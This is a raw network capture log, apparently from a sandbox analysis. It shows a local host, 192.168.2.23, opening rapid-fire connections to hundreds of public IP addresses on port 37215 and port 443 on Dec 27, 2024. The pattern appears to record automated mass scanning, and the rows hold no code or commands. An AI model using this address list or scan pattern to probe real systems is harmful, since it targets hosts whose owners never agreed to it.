Dec 27, 2024 05:02:50.662595987 CET	14257	443	192.168.2.23	118.125.145.2
Dec 27, 2024 05:02:50.662599087 CET	14257	443	192.168.2.23	202.218.34.65
Dec 27, 2024 05:02:50.662606001 CET	443	14257	202.218.34.65	192.168.2.23
Dec 27, 2024 05:02:50.662609100 CET	14256	37215	192.168.2.23	41.84.172.25
Dec 27, 2024 05:02:50.662611008 CET	14257	443	192.168.2.23	42.54.192.220
Dec 27, 2024 05:02:50.662611008 CET	14256	37215	192.168.2.23	197.70.205.32
Dec 27, 2024 05:02:50.662614107 CET	14256	37215	192.168.2.23	41.226.204.49
Dec 27, 2024 05:02:50.662615061 CET	14257	443	192.168.2.23	94.189.246.132
Dec 27, 2024 05:02:50.662615061 CET	14256	37215	192.168.2.23	41.255.13.10
Dec 27, 2024 05:02:50.662616014 CET	14256	37215	192.168.2.23	156.160.145.186
Dec 27, 2024 05:02:50.662621021 CET	14257	443	192.168.2.23	212.132.80.216
Dec 27, 2024 05:02:50.662621975 CET	14257	443	192.168.2.23	178.153.133.249
Dec 27, 2024 05:02:50.662621975 CET	14257	443	192.168.2.23	2.52.0.81
Dec 27, 2024 05:02:50.662631035 CET	443	14257	2.52.0.81	192.168.2.23
Dec 27, 2024 05:02:50.662637949 CET	14257	443	192.168.2.23	202.218.34.65
Dec 27, 2024 05:02:50.662643909 CET	14256	37215	192.168.2.23	41.10.8.44
Dec 27, 2024 05:02:50.662643909 CET	14256	37215	192.168.2.23	41.131.172.183
Dec 27, 2024 05:02:50.662643909 CET	14256	37215	192.168.2.23	197.32.218.181
Dec 27, 2024 05:02:50.662645102 CET	14256	37215	192.168.2.23	197.17.50.242
Dec 27, 2024 05:02:50.662648916 CET	14256	37215	192.168.2.23	41.39.40.7
Dec 27, 2024 05:02:50.662662983 CET	14257	443	192.168.2.23	2.52.0.81
Dec 27, 2024 05:02:50.662669897 CET	14257	443	192.168.2.23	148.4.14.33
Dec 27, 2024 05:02:50.662677050 CET	443	14257	148.4.14.33	192.168.2.23
Dec 27, 2024 05:02:50.662682056 CET	14257	443	192.168.2.23	37.113.112.26
Dec 27, 2024 05:02:50.662683010 CET	14257	443	192.168.2.23	109.140.219.87
Dec 27, 2024 05:02:50.662684917 CET	14257	443	192.168.2.23	210.22.84.182
Dec 27, 2024 05:02:50.662687063 CET	443	14257	37.113.112.26	192.168.2.23
Dec 27, 2024 05:02:50.662689924 CET	14257	443	192.168.2.23	117.173.197.150
Dec 27, 2024 05:02:50.662689924 CET	14257	443	192.168.2.23	109.184.85.55
Dec 27, 2024 05:02:50.662693024 CET	443	14257	210.22.84.182	192.168.2.23
Dec 27, 2024 05:02:50.662693977 CET	443	14257	109.140.219.87	192.168.2.23
Dec 27, 2024 05:02:50.662693024 CET	14256	37215	192.168.2.23	41.166.27.209
Dec 27, 2024 05:02:50.662698030 CET	443	14257	117.173.197.150	192.168.2.23
Dec 27, 2024 05:02:50.662704945 CET	443	14257	109.184.85.55	192.168.2.23
Dec 27, 2024 05:02:50.662712097 CET	14257	443	192.168.2.23	94.145.255.162
Dec 27, 2024 05:02:50.662712097 CET	14257	443	192.168.2.23	79.23.92.34
Dec 27, 2024 05:02:50.662718058 CET	14257	443	192.168.2.23	148.4.14.33
Dec 27, 2024 05:02:50.662719011 CET	14257	443	192.168.2.23	37.113.112.26
Dec 27, 2024 05:02:50.662719011 CET	14257	443	192.168.2.23	109.140.219.87
Dec 27, 2024 05:02:50.662720919 CET	14257	443	192.168.2.23	210.22.84.182
Dec 27, 2024 05:02:50.662724018 CET	443	14257	94.145.255.162	192.168.2.23
Dec 27, 2024 05:02:50.662725925 CET	14257	443	192.168.2.23	117.173.197.150
Dec 27, 2024 05:02:50.662734032 CET	443	14257	79.23.92.34	192.168.2.23
Dec 27, 2024 05:02:50.662739038 CET	14257	443	192.168.2.23	123.74.229.203
Dec 27, 2024 05:02:50.662739038 CET	14257	443	192.168.2.23	5.3.56.22
Dec 27, 2024 05:02:50.662746906 CET	14257	443	192.168.2.23	109.184.85.55
Dec 27, 2024 05:02:50.662748098 CET	14257	443	192.168.2.23	148.254.189.231
Dec 27, 2024 05:02:50.662748098 CET	14257	443	192.168.2.23	148.230.36.204
Dec 27, 2024 05:02:50.662749052 CET	14257	443	192.168.2.23	123.232.214.93
Dec 27, 2024 05:02:50.662749052 CET	443	14257	123.74.229.203	192.168.2.23
Dec 27, 2024 05:02:50.662749052 CET	14257	443	192.168.2.23	148.73.151.120
Dec 27, 2024 05:02:50.662753105 CET	14256	37215	192.168.2.23	41.83.55.191
Dec 27, 2024 05:02:50.662755013 CET	443	14257	148.230.36.204	192.168.2.23
Dec 27, 2024 05:02:50.662755966 CET	14257	443	192.168.2.23	94.145.255.162
Dec 27, 2024 05:02:50.662759066 CET	443	14257	5.3.56.22	192.168.2.23
Dec 27, 2024 05:02:50.662760019 CET	443	14257	123.232.214.93	192.168.2.23
Dec 27, 2024 05:02:50.662767887 CET	443	14257	148.254.189.231	192.168.2.23
Dec 27, 2024 05:02:50.662769079 CET	443	14257	148.73.151.120	192.168.2.23
Dec 27, 2024 05:02:50.662772894 CET	14257	443	192.168.2.23	212.58.90.28
Dec 27, 2024 05:02:50.662775993 CET	14257	443	192.168.2.23	79.23.92.34
Dec 27, 2024 05:02:50.662775993 CET	14256	37215	192.168.2.23	197.243.190.9
Dec 27, 2024 05:02:50.662775993 CET	14256	37215	192.168.2.23	197.53.32.97
Dec 27, 2024 05:02:50.662775993 CET	14257	443	192.168.2.23	117.45.125.118
Dec 27, 2024 05:02:50.662775993 CET	14257	443	192.168.2.23	212.19.68.20
Dec 27, 2024 05:02:50.662775993 CET	14256	37215	192.168.2.23	197.62.102.86
Dec 27, 2024 05:02:50.662779093 CET	14256	37215	192.168.2.23	41.214.7.18
Dec 27, 2024 05:02:50.662779093 CET	14257	443	192.168.2.23	148.230.36.204
Dec 27, 2024 05:02:50.662780046 CET	443	14257	212.58.90.28	192.168.2.23
Dec 27, 2024 05:02:50.662780046 CET	14256	37215	192.168.2.23	197.225.80.18
Dec 27, 2024 05:02:50.662792921 CET	14257	443	192.168.2.23	148.254.189.231
Dec 27, 2024 05:02:50.662794113 CET	14257	443	192.168.2.23	123.232.214.93
Dec 27, 2024 05:02:50.662795067 CET	443	14257	117.45.125.118	192.168.2.23
Dec 27, 2024 05:02:50.662794113 CET	14257	443	192.168.2.23	148.73.151.120
Dec 27, 2024 05:02:50.662802935 CET	443	14257	212.19.68.20	192.168.2.23
Dec 27, 2024 05:02:50.662817001 CET	14257	443	192.168.2.23	123.74.229.203
Dec 27, 2024 05:02:50.662817001 CET	14257	443	192.168.2.23	5.3.56.22
Dec 27, 2024 05:02:50.662817001 CET	14256	37215	192.168.2.23	156.187.142.137
Dec 27, 2024 05:02:50.662818909 CET	14257	443	192.168.2.23	212.58.90.28
Dec 27, 2024 05:02:50.662820101 CET	14256	37215	192.168.2.23	41.174.102.214
Dec 27, 2024 05:02:50.662822962 CET	14256	37215	192.168.2.23	197.213.173.94
Dec 27, 2024 05:02:50.662822962 CET	14256	37215	192.168.2.23	156.133.41.96
Dec 27, 2024 05:02:50.662823915 CET	14256	37215	192.168.2.23	41.24.133.31
Dec 27, 2024 05:02:50.662823915 CET	14257	443	192.168.2.23	5.188.22.2
Dec 27, 2024 05:02:50.662831068 CET	14256	37215	192.168.2.23	156.250.124.99
Dec 27, 2024 05:02:50.662831068 CET	14257	443	192.168.2.23	117.45.125.118
Dec 27, 2024 05:02:50.662837982 CET	443	14257	5.188.22.2	192.168.2.23
Dec 27, 2024 05:02:50.662841082 CET	14257	443	192.168.2.23	178.188.213.115
Dec 27, 2024 05:02:50.662841082 CET	14256	37215	192.168.2.23	197.51.137.87
Dec 27, 2024 05:02:50.662841082 CET	14257	443	192.168.2.23	123.226.21.45
Dec 27, 2024 05:02:50.662841082 CET	14257	443	192.168.2.23	2.172.17.28
Dec 27, 2024 05:02:50.662846088 CET	14257	443	192.168.2.23	123.154.135.31
Dec 27, 2024 05:02:50.662847042 CET	443	14257	178.188.213.115	192.168.2.23
Dec 27, 2024 05:02:50.662847996 CET	14257	443	192.168.2.23	37.140.213.213
Dec 27, 2024 05:02:50.662847996 CET	14257	443	192.168.2.23	94.249.27.56
Dec 27, 2024 05:02:50.662853003 CET	14256	37215	192.168.2.23	156.202.226.223
Dec 27, 2024 05:02:50.662852049 CET	14257	443	192.168.2.23	212.19.68.20
Dec 27, 2024 05:02:50.662853003 CET	14256	37215	192.168.2.23	41.245.53.233
Dec 27, 2024 05:02:50.662852049 CET	14256	37215	192.168.2.23	197.92.42.215
Dec 27, 2024 05:02:50.662846088 CET	14256	37215	192.168.2.23	41.172.59.25
Dec 27, 2024 05:02:50.662852049 CET	14257	443	192.168.2.23	42.114.74.64
Dec 27, 2024 05:02:50.662859917 CET	443	14257	123.226.21.45	192.168.2.23
Dec 27, 2024 05:02:50.662861109 CET	14256	37215	192.168.2.23	41.107.32.137
Dec 27, 2024 05:02:50.662862062 CET	443	14257	37.140.213.213	192.168.2.23
Dec 27, 2024 05:02:50.662863970 CET	443	14257	94.249.27.56	192.168.2.23
Dec 27, 2024 05:02:50.662863970 CET	443	14257	2.172.17.28	192.168.2.23
Dec 27, 2024 05:02:50.662868977 CET	443	14257	123.154.135.31	192.168.2.23
Dec 27, 2024 05:02:50.662868977 CET	14256	37215	192.168.2.23	197.212.198.88
Dec 27, 2024 05:02:50.662868977 CET	14256	37215	192.168.2.23	41.72.63.227
Dec 27, 2024 05:02:50.662868977 CET	14257	443	192.168.2.23	5.18.80.144
Dec 27, 2024 05:02:50.662868977 CET	14256	37215	192.168.2.23	41.4.210.40
Dec 27, 2024 05:02:50.662870884 CET	443	14257	42.114.74.64	192.168.2.23
Dec 27, 2024 05:02:50.662870884 CET	14257	443	192.168.2.23	210.126.72.59
Dec 27, 2024 05:02:50.662870884 CET	14257	443	192.168.2.23	210.197.41.68
Dec 27, 2024 05:02:50.662870884 CET	14256	37215	192.168.2.23	156.71.124.102
Dec 27, 2024 05:02:50.662873983 CET	14257	443	192.168.2.23	2.248.122.231
Dec 27, 2024 05:02:50.662875891 CET	14257	443	192.168.2.23	210.163.137.103
Dec 27, 2024 05:02:50.662875891 CET	14256	37215	192.168.2.23	197.65.232.33
Dec 27, 2024 05:02:50.662875891 CET	14256	37215	192.168.2.23	197.8.33.62
Dec 27, 2024 05:02:50.662875891 CET	14257	443	192.168.2.23	5.188.22.2
Dec 27, 2024 05:02:50.662879944 CET	14257	443	192.168.2.23	109.183.78.152
Dec 27, 2024 05:02:50.662879944 CET	14257	443	192.168.2.23	212.12.59.250
Dec 27, 2024 05:02:50.662879944 CET	14256	37215	192.168.2.23	41.141.59.254
Dec 27, 2024 05:02:50.662880898 CET	14257	443	192.168.2.23	94.228.116.188
Dec 27, 2024 05:02:50.662880898 CET	14257	443	192.168.2.23	202.68.103.45
Dec 27, 2024 05:02:50.662880898 CET	14256	37215	192.168.2.23	197.152.29.247
Dec 27, 2024 05:02:50.662882090 CET	14257	443	192.168.2.23	212.71.83.33
Dec 27, 2024 05:02:50.662882090 CET	14257	443	192.168.2.23	123.40.170.183
Dec 27, 2024 05:02:50.662882090 CET	14257	443	192.168.2.23	42.115.143.75
Dec 27, 2024 05:02:50.662882090 CET	14257	443	192.168.2.23	212.189.193.93
Dec 27, 2024 05:02:50.662883997 CET	443	14257	210.126.72.59	192.168.2.23
Dec 27, 2024 05:02:50.662885904 CET	443	14257	2.248.122.231	192.168.2.23
Dec 27, 2024 05:02:50.662882090 CET	14256	37215	192.168.2.23	41.192.108.209
Dec 27, 2024 05:02:50.662882090 CET	14257	443	192.168.2.23	123.226.21.45
Dec 27, 2024 05:02:50.662889004 CET	443	14257	109.183.78.152	192.168.2.23
Dec 27, 2024 05:02:50.662889004 CET	443	14257	210.163.137.103	192.168.2.23
Dec 27, 2024 05:02:50.662889004 CET	14257	443	192.168.2.23	178.188.213.115
Dec 27, 2024 05:02:50.662892103 CET	443	14257	94.228.116.188	192.168.2.23
Dec 27, 2024 05:02:50.662893057 CET	443	14257	5.18.80.144	192.168.2.23
Dec 27, 2024 05:02:50.662894011 CET	443	14257	212.71.83.33	192.168.2.23
Dec 27, 2024 05:02:50.662897110 CET	443	14257	210.197.41.68	192.168.2.23
Dec 27, 2024 05:02:50.662898064 CET	443	14257	42.115.143.75	192.168.2.23
Dec 27, 2024 05:02:50.662898064 CET	443	14257	212.12.59.250	192.168.2.23
Dec 27, 2024 05:02:50.662898064 CET	443	14257	123.40.170.183	192.168.2.23
Dec 27, 2024 05:02:50.662900925 CET	443	14257	212.189.193.93	192.168.2.23
Dec 27, 2024 05:02:50.662905931 CET	443	14257	202.68.103.45	192.168.2.23
Dec 27, 2024 05:02:50.662908077 CET	14257	443	192.168.2.23	212.166.185.113
Dec 27, 2024 05:02:50.662908077 CET	14257	443	192.168.2.23	210.126.72.59
Dec 27, 2024 05:02:50.662909985 CET	14257	443	192.168.2.23	42.114.74.64
Dec 27, 2024 05:02:50.662909985 CET	14257	443	192.168.2.23	37.140.213.213
Dec 27, 2024 05:02:50.662910938 CET	14257	443	192.168.2.23	123.154.135.31
Dec 27, 2024 05:02:50.662910938 CET	14257	443	192.168.2.23	2.248.122.231
Dec 27, 2024 05:02:50.662911892 CET	14257	443	192.168.2.23	94.249.27.56
Dec 27, 2024 05:02:50.662911892 CET	14257	443	192.168.2.23	42.95.141.43
Dec 27, 2024 05:02:50.662911892 CET	14257	443	192.168.2.23	148.112.199.224
Dec 27, 2024 05:02:50.662913084 CET	14257	443	192.168.2.23	123.27.205.254
Dec 27, 2024 05:02:50.662913084 CET	14257	443	192.168.2.23	2.172.17.28
Dec 27, 2024 05:02:50.662914991 CET	443	14257	212.166.185.113	192.168.2.23
Dec 27, 2024 05:02:50.662919044 CET	14257	443	192.168.2.23	5.18.80.144
Dec 27, 2024 05:02:50.662919998 CET	443	14257	123.27.205.254	192.168.2.23
Dec 27, 2024 05:02:50.662923098 CET	443	14257	42.95.141.43	192.168.2.23
Dec 27, 2024 05:02:50.662925005 CET	14257	443	192.168.2.23	94.228.116.188
Dec 27, 2024 05:02:50.662931919 CET	14257	443	192.168.2.23	212.71.83.33
Dec 27, 2024 05:02:50.662931919 CET	14257	443	192.168.2.23	210.197.41.68
Dec 27, 2024 05:02:50.662931919 CET	443	14257	148.112.199.224	192.168.2.23
Dec 27, 2024 05:02:50.662940025 CET	14257	443	192.168.2.23	212.189.193.93
Dec 27, 2024 05:02:50.662942886 CET	14256	37215	192.168.2.23	197.131.112.156
Dec 27, 2024 05:02:50.662942886 CET	14257	443	192.168.2.23	109.183.78.152
Dec 27, 2024 05:02:50.662944078 CET	14257	443	192.168.2.23	210.163.137.103
Dec 27, 2024 05:02:50.662942886 CET	14257	443	192.168.2.23	212.12.59.250
Dec 27, 2024 05:02:50.662955046 CET	14256	37215	192.168.2.23	197.138.247.87
Dec 27, 2024 05:02:50.662955999 CET	14256	37215	192.168.2.23	41.142.214.28
Dec 27, 2024 05:02:50.662955046 CET	14257	443	192.168.2.23	123.40.170.183
Dec 27, 2024 05:02:50.662955046 CET	14257	443	192.168.2.23	123.27.205.254
Dec 27, 2024 05:02:50.662961006 CET	14257	443	192.168.2.23	42.115.143.75
Dec 27, 2024 05:02:50.662961006 CET	14256	37215	192.168.2.23	156.229.137.193
Dec 27, 2024 05:02:50.662969112 CET	14256	37215	192.168.2.23	156.214.45.7
Dec 27, 2024 05:02:50.662970066 CET	14256	37215	192.168.2.23	41.183.68.78
Dec 27, 2024 05:02:50.662970066 CET	14256	37215	192.168.2.23	156.76.88.242
Dec 27, 2024 05:02:50.662970066 CET	14257	443	192.168.2.23	212.166.185.113
Dec 27, 2024 05:02:50.662971020 CET	14256	37215	192.168.2.23	156.1.112.35
Dec 27, 2024 05:02:50.662971973 CET	14257	443	192.168.2.23	202.68.103.45
Dec 27, 2024 05:02:50.662976980 CET	14257	443	192.168.2.23	42.95.141.43
Dec 27, 2024 05:02:50.662976980 CET	14257	443	192.168.2.23	148.112.199.224
Dec 27, 2024 05:02:50.662976980 CET	14256	37215	192.168.2.23	41.17.205.171
Dec 27, 2024 05:02:50.662980080 CET	14256	37215	192.168.2.23	156.233.7.237
Dec 27, 2024 05:02:50.662998915 CET	14257	443	192.168.2.23	202.170.198.229
Dec 27, 2024 05:02:50.663006067 CET	14257	443	192.168.2.23	212.78.47.138
Dec 27, 2024 05:02:50.663006067 CET	443	14257	202.170.198.229	192.168.2.23
Dec 27, 2024 05:02:50.663007975 CET	14257	443	192.168.2.23	109.111.162.164
Dec 27, 2024 05:02:50.663008928 CET	14257	443	192.168.2.23	210.94.33.7
Dec 27, 2024 05:02:50.663011074 CET	14257	443	192.168.2.23	37.129.174.150
Dec 27, 2024 05:02:50.663011074 CET	14257	443	192.168.2.23	37.156.210.7
Dec 27, 2024 05:02:50.663012028 CET	14257	443	192.168.2.23	117.111.182.109
Dec 27, 2024 05:02:50.663012981 CET	443	14257	212.78.47.138	192.168.2.23
Dec 27, 2024 05:02:50.663013935 CET	443	14257	109.111.162.164	192.168.2.23
Dec 27, 2024 05:02:50.663017988 CET	443	14257	117.111.182.109	192.168.2.23
Dec 27, 2024 05:02:50.663018942 CET	443	14257	37.129.174.150	192.168.2.23
Dec 27, 2024 05:02:50.663023949 CET	14257	443	192.168.2.23	42.115.47.220
Dec 27, 2024 05:02:50.663028002 CET	443	14257	37.156.210.7	192.168.2.23
Dec 27, 2024 05:02:50.663028955 CET	443	14257	210.94.33.7	192.168.2.23
Dec 27, 2024 05:02:50.663032055 CET	443	14257	42.115.47.220	192.168.2.23
Dec 27, 2024 05:02:50.663039923 CET	14256	37215	192.168.2.23	197.58.168.125
Dec 27, 2024 05:02:50.663044930 CET	14256	37215	192.168.2.23	197.98.139.49
Dec 27, 2024 05:02:50.663044930 CET	14257	443	192.168.2.23	148.159.246.178
Dec 27, 2024 05:02:50.663047075 CET	14257	443	192.168.2.23	117.111.182.109
Dec 27, 2024 05:02:50.663045883 CET	14257	443	192.168.2.23	212.78.47.138
Dec 27, 2024 05:02:50.663045883 CET	14256	37215	192.168.2.23	197.154.177.56
Dec 27, 2024 05:02:50.663050890 CET	14257	443	192.168.2.23	202.170.198.229
Dec 27, 2024 05:02:50.663053036 CET	443	14257	148.159.246.178	192.168.2.23
Dec 27, 2024 05:02:50.663053989 CET	14257	443	192.168.2.23	109.111.162.164
Dec 27, 2024 05:02:50.663054943 CET	14257	443	192.168.2.23	37.129.174.150
Dec 27, 2024 05:02:50.663053989 CET	14257	443	192.168.2.23	42.142.129.91
Dec 27, 2024 05:02:50.663058043 CET	14256	37215	192.168.2.23	41.233.79.65
Dec 27, 2024 05:02:50.663058996 CET	14257	443	192.168.2.23	210.94.33.7
Dec 27, 2024 05:02:50.663064957 CET	443	14257	42.142.129.91	192.168.2.23
Dec 27, 2024 05:02:50.663064957 CET	14257	443	192.168.2.23	37.156.210.7
Dec 27, 2024 05:02:50.663079977 CET	14257	443	192.168.2.23	42.115.47.220
Dec 27, 2024 05:02:50.663079977 CET	14256	37215	192.168.2.23	41.29.104.125
Dec 27, 2024 05:02:50.663083076 CET	14257	443	192.168.2.23	123.92.153.143
Dec 27, 2024 05:02:50.663086891 CET	14257	443	192.168.2.23	123.106.43.220
Dec 27, 2024 05:02:50.663088083 CET	14257	443	192.168.2.23	148.159.246.178
Dec 27, 2024 05:02:50.663088083 CET	14257	443	192.168.2.23	148.123.197.254
Dec 27, 2024 05:02:50.663088083 CET	14257	443	192.168.2.23	123.200.14.224
Dec 27, 2024 05:02:50.663089991 CET	443	14257	123.92.153.143	192.168.2.23
Dec 27, 2024 05:02:50.663089991 CET	14257	443	192.168.2.23	5.153.22.141
Dec 27, 2024 05:02:50.663089991 CET	14257	443	192.168.2.23	42.142.129.91
Dec 27, 2024 05:02:50.663094044 CET	443	14257	123.106.43.220	192.168.2.23
Dec 27, 2024 05:02:50.663098097 CET	443	14257	5.153.22.141	192.168.2.23
Dec 27, 2024 05:02:50.663100958 CET	443	14257	148.123.197.254	192.168.2.23
Dec 27, 2024 05:02:50.663101912 CET	443	14257	123.200.14.224	192.168.2.23
Dec 27, 2024 05:02:50.663108110 CET	14256	37215	192.168.2.23	41.52.203.63
Dec 27, 2024 05:02:50.663120031 CET	14256	37215	192.168.2.23	197.90.90.43
Dec 27, 2024 05:02:50.663124084 CET	14257	443	192.168.2.23	210.24.142.44
Dec 27, 2024 05:02:50.663124084 CET	14257	443	192.168.2.23	123.200.14.224
Dec 27, 2024 05:02:50.663127899 CET	14257	443	192.168.2.23	123.92.153.143
Dec 27, 2024 05:02:50.663130045 CET	443	14257	210.24.142.44	192.168.2.23
Dec 27, 2024 05:02:50.663130999 CET	14257	443	192.168.2.23	5.153.22.141
Dec 27, 2024 05:02:50.663136959 CET	14257	443	192.168.2.23	148.123.197.254
Dec 27, 2024 05:02:50.663141012 CET	14257	443	192.168.2.23	94.57.180.144
Dec 27, 2024 05:02:50.663146019 CET	443	14257	94.57.180.144	192.168.2.23
Dec 27, 2024 05:02:50.663146973 CET	14257	443	192.168.2.23	5.194.114.237
Dec 27, 2024 05:02:50.663147926 CET	14257	443	192.168.2.23	123.106.43.220
Dec 27, 2024 05:02:50.663152933 CET	14256	37215	192.168.2.23	197.177.246.58
Dec 27, 2024 05:02:50.663156986 CET	14256	37215	192.168.2.23	197.113.36.250
Dec 27, 2024 05:02:50.663162947 CET	14257	443	192.168.2.23	178.89.3.203
Dec 27, 2024 05:02:50.663163900 CET	443	14257	5.194.114.237	192.168.2.23
Dec 27, 2024 05:02:50.663168907 CET	443	14257	178.89.3.203	192.168.2.23
Dec 27, 2024 05:02:50.663172007 CET	14256	37215	192.168.2.23	156.22.146.39
Dec 27, 2024 05:02:50.663167953 CET	14257	443	192.168.2.23	210.24.142.44
Dec 27, 2024 05:02:50.663168907 CET	14257	443	192.168.2.23	2.181.94.12
Dec 27, 2024 05:02:50.663172007 CET	14256	37215	192.168.2.23	156.127.208.59
Dec 27, 2024 05:02:50.663167953 CET	14257	443	192.168.2.23	94.57.180.144
Dec 27, 2024 05:02:50.663168907 CET	14256	37215	192.168.2.23	156.177.7.80
Dec 27, 2024 05:02:50.663172007 CET	14256	37215	192.168.2.23	156.28.252.65
Dec 27, 2024 05:02:50.663168907 CET	14256	37215	192.168.2.23	41.90.98.127
Dec 27, 2024 05:02:50.663175106 CET	14256	37215	192.168.2.23	41.54.227.2
Dec 27, 2024 05:02:50.663181067 CET	14256	37215	192.168.2.23	156.232.244.184
Dec 27, 2024 05:02:50.663183928 CET	14257	443	192.168.2.23	2.230.27.81
Dec 27, 2024 05:02:50.663183928 CET	14257	443	192.168.2.23	37.81.133.207
Dec 27, 2024 05:02:50.663184881 CET	443	14257	2.181.94.12	192.168.2.23
Dec 27, 2024 05:02:50.663197041 CET	14257	443	192.168.2.23	178.89.3.203
Dec 27, 2024 05:02:50.663197041 CET	14257	443	192.168.2.23	5.1.72.201
Dec 27, 2024 05:02:50.663197994 CET	14257	443	192.168.2.23	5.194.114.237
Dec 27, 2024 05:02:50.663206100 CET	14257	443	192.168.2.23	202.125.239.123
Dec 27, 2024 05:02:50.663206100 CET	14257	443	192.168.2.23	123.195.2.240
Dec 27, 2024 05:02:50.663207054 CET	14256	37215	192.168.2.23	156.114.180.74
Dec 27, 2024 05:02:50.663220882 CET	14257	443	192.168.2.23	2.181.94.12
Dec 27, 2024 05:02:50.663229942 CET	14256	37215	192.168.2.23	156.131.148.199
Dec 27, 2024 05:02:50.663237095 CET	14256	37215	192.168.2.23	41.46.139.148
Dec 27, 2024 05:02:50.663244963 CET	14256	37215	192.168.2.23	41.173.110.227
Dec 27, 2024 05:02:50.663245916 CET	14257	443	192.168.2.23	118.157.113.78
Dec 27, 2024 05:02:50.663250923 CET	14257	443	192.168.2.23	202.171.193.145
Dec 27, 2024 05:02:50.663252115 CET	14257	443	192.168.2.23	148.156.10.190
Dec 27, 2024 05:02:50.663254976 CET	14257	443	192.168.2.23	5.46.210.139
Dec 27, 2024 05:02:50.663258076 CET	14256	37215	192.168.2.23	41.58.225.68
Dec 27, 2024 05:02:50.663258076 CET	14256	37215	192.168.2.23	41.48.180.199
Dec 27, 2024 05:02:50.663260937 CET	14257	443	192.168.2.23	42.195.43.180
Dec 27, 2024 05:02:50.663260937 CET	14257	443	192.168.2.23	94.106.47.78
Dec 27, 2024 05:02:50.663263083 CET	14256	37215	192.168.2.23	197.52.135.47
Dec 27, 2024 05:02:50.663264990 CET	14256	37215	192.168.2.23	197.161.130.137
Dec 27, 2024 05:02:50.663269997 CET	14257	443	192.168.2.23	118.133.244.81
Dec 27, 2024 05:02:50.663270950 CET	14257	443	192.168.2.23	212.168.7.239
Dec 27, 2024 05:02:50.663271904 CET	14256	37215	192.168.2.23	156.151.201.178
Dec 27, 2024 05:02:50.663273096 CET	14257	443	192.168.2.23	178.124.148.19
Dec 27, 2024 05:02:50.663276911 CET	14257	443	192.168.2.23	42.239.75.165
Dec 27, 2024 05:02:50.663278103 CET	14256	37215	192.168.2.23	41.2.184.224
Dec 27, 2024 05:02:50.663278103 CET	14256	37215	192.168.2.23	197.226.226.144
Dec 27, 2024 05:02:50.663278103 CET	14257	443	192.168.2.23	37.194.212.186
Dec 27, 2024 05:02:50.663278103 CET	14257	443	192.168.2.23	123.165.246.252
Dec 27, 2024 05:02:50.663283110 CET	14256	37215	192.168.2.23	41.148.100.24
Dec 27, 2024 05:02:50.663284063 CET	14256	37215	192.168.2.23	41.40.62.59
Dec 27, 2024 05:02:50.663284063 CET	14256	37215	192.168.2.23	156.62.196.246
Dec 27, 2024 05:02:50.663284063 CET	14256	37215	192.168.2.23	41.42.234.62
Dec 27, 2024 05:02:50.663294077 CET	14257	443	192.168.2.23	79.247.208.44
Dec 27, 2024 05:02:50.663295984 CET	14256	37215	192.168.2.23	41.147.159.67
Dec 27, 2024 05:02:50.663299084 CET	14256	37215	192.168.2.23	156.77.59.126
Dec 27, 2024 05:02:50.663305044 CET	14256	37215	192.168.2.23	197.81.140.247
Dec 27, 2024 05:02:50.663321972 CET	14256	37215	192.168.2.23	156.50.215.64
Dec 27, 2024 05:02:50.663332939 CET	14257	443	192.168.2.23	123.50.27.247
Dec 27, 2024 05:02:50.663336039 CET	14256	37215	192.168.2.23	156.113.199.31
Dec 27, 2024 05:02:50.663336039 CET	14257	443	192.168.2.23	117.45.6.33
Dec 27, 2024 05:02:50.663340092 CET	14257	443	192.168.2.23	109.219.76.20
Dec 27, 2024 05:02:50.663347006 CET	14257	443	192.168.2.23	178.17.16.15
Dec 27, 2024 05:02:50.663347960 CET	14257	443	192.168.2.23	109.96.145.157
Dec 27, 2024 05:02:50.663347960 CET	14256	37215	192.168.2.23	197.44.180.189
Dec 27, 2024 05:02:50.663352013 CET	14256	37215	192.168.2.23	41.200.53.94
Dec 27, 2024 05:02:50.663352013 CET	14256	37215	192.168.2.23	41.165.72.230
Dec 27, 2024 05:02:50.663352013 CET	14256	37215	192.168.2.23	156.168.12.123
Dec 27, 2024 05:02:50.663352966 CET	14256	37215	192.168.2.23	41.172.82.125
Dec 27, 2024 05:02:50.663361073 CET	14256	37215	192.168.2.23	156.200.255.161
Dec 27, 2024 05:02:50.663361073 CET	14257	443	192.168.2.23	148.195.49.206
Dec 27, 2024 05:02:50.663361073 CET	14256	37215	192.168.2.23	41.29.164.32
Dec 27, 2024 05:02:50.663362026 CET	14257	443	192.168.2.23	109.239.214.247
Dec 27, 2024 05:02:50.663362980 CET	14257	443	192.168.2.23	148.29.229.196
Dec 27, 2024 05:02:50.663362980 CET	14256	37215	192.168.2.23	197.132.86.185
Dec 27, 2024 05:02:50.663371086 CET	14256	37215	192.168.2.23	197.108.72.98
Dec 27, 2024 05:02:50.663371086 CET	14256	37215	192.168.2.23	41.234.142.77
Dec 27, 2024 05:02:50.663371086 CET	14257	443	192.168.2.23	94.84.1.185
Dec 27, 2024 05:02:50.663371086 CET	14256	37215	192.168.2.23	41.137.32.234
Dec 27, 2024 05:02:50.663378954 CET	14256	37215	192.168.2.23	197.47.56.235
Dec 27, 2024 05:02:50.663378954 CET	14256	37215	192.168.2.23	156.235.21.161
Dec 27, 2024 05:02:50.663381100 CET	14257	443	192.168.2.23	212.97.223.186
Dec 27, 2024 05:02:50.663383961 CET	14256	37215	192.168.2.23	197.117.156.213
Dec 27, 2024 05:02:50.663383961 CET	14256	37215	192.168.2.23	197.59.239.2
Dec 27, 2024 05:02:50.663383961 CET	14256	37215	192.168.2.23	197.210.51.142
Dec 27, 2024 05:02:50.663384914 CET	14257	443	192.168.2.23	202.59.150.187
Dec 27, 2024 05:02:50.663384914 CET	14257	443	192.168.2.23	210.224.141.118
Dec 27, 2024 05:02:50.663384914 CET	14257	443	192.168.2.23	212.27.160.92
Dec 27, 2024 05:02:50.663392067 CET	14256	37215	192.168.2.23	156.250.208.81
Dec 27, 2024 05:02:50.663392067 CET	14256	37215	192.168.2.23	41.15.158.146
Dec 27, 2024 05:02:50.663393021 CET	14257	443	192.168.2.23	202.241.216.98
Dec 27, 2024 05:02:50.663393021 CET	14256	37215	192.168.2.23	197.86.34.75
Dec 27, 2024 05:02:50.663403034 CET	14256	37215	192.168.2.23	156.164.206.160
Dec 27, 2024 05:02:50.663405895 CET	14256	37215	192.168.2.23	41.135.106.205
Dec 27, 2024 05:02:50.663413048 CET	14257	443	192.168.2.23	42.224.82.173
Dec 27, 2024 05:02:50.663431883 CET	14257	443	192.168.2.23	123.51.86.51
Dec 27, 2024 05:02:50.663431883 CET	14257	443	192.168.2.23	118.126.172.10
Dec 27, 2024 05:02:50.663431883 CET	14256	37215	192.168.2.23	197.206.125.226
